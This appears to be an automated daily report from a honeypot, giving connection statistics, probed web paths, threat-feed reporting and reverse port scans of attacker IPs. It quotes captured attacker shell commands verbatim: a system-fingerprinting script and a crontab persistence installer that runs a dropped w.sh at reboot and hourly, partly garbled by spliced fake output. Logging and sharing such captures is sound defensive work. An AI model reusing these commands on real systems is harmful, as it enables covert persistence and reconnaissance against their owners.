๐Ÿ’€ critical

Daily Threat Report

949 SSH Connections
496 Login Attempts
448 Commands Run
26 SSH Unique IPs
6,267 Protocol Events
134 Protocol IPs
58 Web Hits
29 Web Service IPs
15 Reverse Scans
15 Scan Hits

Top Passwords Tried

  1. b03ddf3ca2e714a6
  2. e3b0c44298fc1c14
  3. 4813494d137e1631
  4. 8c6976e5b5410415

๐ŸŒ WEB HONEYPOT โ€” HoneyAI HTTP

AI-generated fake HTTP responses served to 58 scanner requests from 29 unique IPs (local, offline).

Top Paths Probed

  1. /
  2. /login
  3. /goform/set_LimitClient_cfg
  4. /SDK/webLanguage
  5. /wp-config.php.bak

Top User-Agents

  1. Go-http-client/1.1
  2. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
  3. Mozilla/5.0 (compatible; FlowIQLabsBot/1.0; +https://flowiq-labs.com/scanning-info)
  4. Mozilla/5.0 (compatible; CyberConvoyScout/1.0; +https://scout.cyberconvoy.co)
  5. Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15

๐Ÿ’ฅ OPERATION SPINE โ€” Reverse Port Scanning

Active defense back-profiling: HoneyAI executed **15** reverse port-scans against active attacker IPs. Out of these, **15** hosts were found with open services.

Discovered Open Ports on Attackers

๐ŸŒ45.194.67.120 Scanned at 00:12
๐ŸŒ64.89.163.91 Scanned at 02:15
๐ŸŒ98.80.4.113 Scanned at 04:13
๐ŸŒ207.154.222.119 Scanned at 04:20
๐ŸŒ64.62.156.15 Scanned at 06:17
๐ŸŒ64.62.156.13 Scanned at 06:59
๐ŸŒ64.62.156.18 Scanned at 07:00
๐ŸŒ64.89.163.167 Scanned at 09:58
๐ŸŒ64.89.163.154 Scanned at 10:39
๐ŸŒ64.89.163.180 Scanned at 14:43
๐ŸŒ165.227.201.157 Scanned at 16:57
๐ŸŒ134.122.118.178 Scanned at 17:17
๐ŸŒ194.195.208.32 Scanned at 17:17
๐ŸŒ95.215.0.144 Scanned at 17:53
๐ŸŒ64.89.163.90 Scanned at 18:54
# Automatic multi-platform threat intel reporting
$ honeypot-report.sh --since 24h
โ†’ 162 IPs โ†’ AbuseIPDB  (community confidence scores updated)
โ†’ 162 IPs โ†’ AlienVault OTX  (pulse indicators added)
โ†’ 162 IPs โ†’ Blocklist.de  (auto-ban list updated)
โ†’ 162 IPs โ†’ DShield/SANS  (global threat feed updated)

๐Ÿคฃ ATTACKER COMEDY CORNER

Real attempts. No actors were harmed in the making of this honeypot.

๐Ÿ”‘ Hall of Shame โ€” Passwords

b03ddf3ca2e714a6
e3b0c44298fc1c14
8c6976e5b5410415
4813494d137e1631

๐Ÿ’ป Commands They Tried

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq)
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq)
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null)
cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 )
echo $_dqUNAME:$uname$_dq
echo $_dqARCH:$arch$_dq
echo $_dqUPTIME:$uptime$_dq
echo $_dqCPUS:$cpus$_dq
echo $_dqCPU_MODEL:$cpu_model$_dq
echo $_dqGPU:$gpu_info$_dq
echo $_dqLAST:$last_output$_dq
echo $_dqFILTER:$filter_output$_dq
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq)
arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq)
uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)
cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null)
cpu_model=$( { grep -m1 -E $_dqmodel name|Hardware$_dq /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep $_dqModel name$_dq; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } )
gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )
last_output=$(last 2>/dev/null)
echo $_dqUNAME:$uname$_dq
echo $_dqARCH:$arch$_dq
echo $_dqUPTIME:$uptime$_dq
echo $_dqCPUS:$cpus$_dq
echo $_dqGPU:$gpu_info$_dq
PATH=$PATH:/usr/bin:/usr/local/bin
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
if ! echo $_dq$CRON$_dq | grep -F 'root@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
/home/daemon
/srv/httpdocs
/home/administrator
/ssh/
/root
/ # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq' >/dev/null 2>&1; then
(echo $_dq$CRON$_dq; echo '@reboot root@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
/home/daemon
/srv/httpdocs
/home/administrator
/ssh/
/root
/ # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq'; echo '0 * * * * cd $_dqroot@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
/home/daemon
/srv/httpdocs
/home/administrator
/ssh/
/root
/ # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters.$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq') | crontab -
fi
PATH=$PATH:/usr/bin:/usr/local/bin
CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq
if ! echo $_dq$CRON$_dq | grep -F 'root@localhost:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
root@localhost:/# root's home directory changed to: /
root@localhost:/#
root@localhost:/# pwd
/root/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq' >/dev/null 2>&1; then
(echo $_dq$CRON$_dq; echo '@reboot root@localhost:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
root@localhost:/# root's home directory changed to: /
root@localhost:/#
root@localhost:/# pwd
/root/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq'; echo '0 * * * * cd $_dqroot@localhost:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
root@localhost:/# root's home directory changed to: /
root@localhost:/#
root@localhost:/# pwd
/root$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq') | crontab -
fi
cd $_dqroot@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done
/home/daemon
/srv/httpdocs
/home/administrator
/ssh/
/root
/ # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters.$_dq && if [ ! -f $_dqw.sh$_dq ]; then cat > $_dqw.sh$_dq && chmod +x w.sh; fi

These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.

Automated report for 1 de agosto de 2026. Recorded 949 SSH connections and 6267 multi-protocol decoy events on HoneyAI, from 160 unique IPs. 162 IPs were automatically reported to the AbuseIPDB community database.

SSH Activity (HoneyAI)

The SSH service received 496 login attempts from 26 unique IPs. Attackers executed 448 commands after gaining simulated system access.

Multi-Protocol Decoys (HoneyAI)

Detected 6267 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 134 distinct IPs. All events are access attempts against simulated production services.

HTTP Web Service (HoneyAI)

The web service received 58 HTTP requests from real scanners across 29 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).

MCP Agent Trap

The MCP decoy server received 0 requests from 0 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.

MSSQL / SNMP Honeypots

The MSSQL decoy received 0 authentication events from 0 IPs. The SNMP trap received 49 queries from 24 IPs probing community strings and OIDs.

Portscan Detection

Detected 0 incoming port scan events from 0 unique IPs.

AI Defense Stats

Blocked 0 prompt injection attempts and 0 identity leak attempts.

Active Defense (Operation Spine)

HoneyAI performed 15 reverse port scans back to active attacker IPs. Out of these, 15 hosts were found running open public services, allowing backfire profiling.

Network IDS (Suricata)

The network intrusion detection system generated 20124 alerts from 976 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.

โ† All Reports ๐Ÿ›ก๏ธ Subscribe to blocklists โ†’